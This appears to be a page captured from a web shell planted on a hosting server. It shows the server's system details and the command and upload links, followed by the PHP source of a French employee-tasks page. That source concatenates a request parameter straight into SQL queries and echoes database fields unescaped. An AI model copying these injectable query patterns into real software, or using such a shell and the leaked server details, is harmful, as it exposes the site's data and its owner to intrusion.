|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$pagemenu = basename($_SERVER["PHP_SELF"]) ;
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
if(!empty($_GET['salarie_id']))
{
$_SESSION["salarie_id"]=$_GET['salarie_id'];
}
$salarie_id=$_SESSION["salarie_id"] ;
$salarie_idd=$_SESSION["salarie_id"] ;
// header('Content-type: text/html; charset=UTF-8');
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title> LogMCPRO | Visites Médicales</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php'); ?>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1 class="m-0 text-dark"></h1>
</div><!-- /.col -->
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
</ol>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<div class="content">
<div class="container-fluid">
<div class="row">
<!-- DEFINITION DES COLONNES -->
<div class="col-md-12">
<?php include('widget_salarie.php'); ?>
<!-- /.info-box -->
<br/>
</div>
<br/>
</div>
<!-- PASSAGE A LA COLONNE DE DROITE-->
<div class="col-lg-12">
<!-- CARD DE DROITE-->
<div class="card card-info">
<?php include('menu_salarie_haut.php'); ?>
<div class="card-body">
<?php
$suivi = dbi_query(" SELECT * FROM tache t,users u where t.user_id = u.user_id and salarie_id=$salarie_idd ") ;
?>
<div class="box-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<TR>
<th align="center" colspan="4"> Sujet </th>
<th align="center">Nom du client </th>
<th align="center">Statu </th>
<th align="center">Priorité </th>
<th align="center"> Administratif </th>
</TR>
</thead>
<tbody>
<?php while($a = dbi_fetch_row($suivi)){
if($a['tache_status']==0)
{
$tache_status="Pas complété";
}else{ $tache_status="Complété";}
if($a['tache_Priorite']== 1)
{
$tache_Priorite= "Moyen" ;
}
elseif($a['tache_Priorite']== 2)
{
$tache_Priorite= "Haute" ;
}
elseif($a['tache_Priorite']== 3)
{
$tache_Priorite= "Urgente" ;
}
list($Admin_nom) = dbi_fetch_row( dbi_query("SELECT user_nom,user_prenom FROM `users` WHERE `user_id` = ".$a['user_id'])) ;
// list($salarie_nom ,$salarie_prenom ) = dbi_fetch_row( dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$a['inter_id'])) ;
// $salarie_nomm = $salarie_nom." ".$salarie_prenom ;
// exit() :
if($a['client_id']!= 0)
{
list($client_nom)= dbi_fetch_row(dbi_query("SELECT client_nom FROM `client` WHERE `client_id` = ".$a['client_id'])) ;
// echo "<br/>SELECT client_nom FROM `client` WHERE `client_id` = ".$a['client_id'] ;
}
else
{ $client_nom = " <strong style='color:red;'> Pas de client concerné </strong>"; }
list($salarie_nom , $salarie_prenom)= dbi_fetch_row(dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$a['salarie_id'])) ;
if(empty($salarie_nom) AND empty($salarie_prenom))
{
$salarie_nom = " <strong style='color:red;'>Pas de " ;
$salarie_prenom = "salarié </strong> " ;
}
$page = "TacheSalarie.php" ;
?>
<tr>
<td colspan="4"> <a href="fetch_record.php?rowid=<?=$a['tache_id']?>&page=<?=$page?>"> <?php echo $a['tache_sujet'] ; ?></a></td>
<td> <?php echo $client_nom ; ?></td>
<td> <?php echo $tache_status ; ?></td>
<td> <?php echo $tache_Priorite; ?></td>
<td> <?php echo $a['user_nom']." ".$a['user_prenom'] ; ?></td>
<?php }?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
<!-- /.card-body -->
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
</div>
</div>
</div>
</div>
<!-- /.col-md-6 -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
</body>
</html>
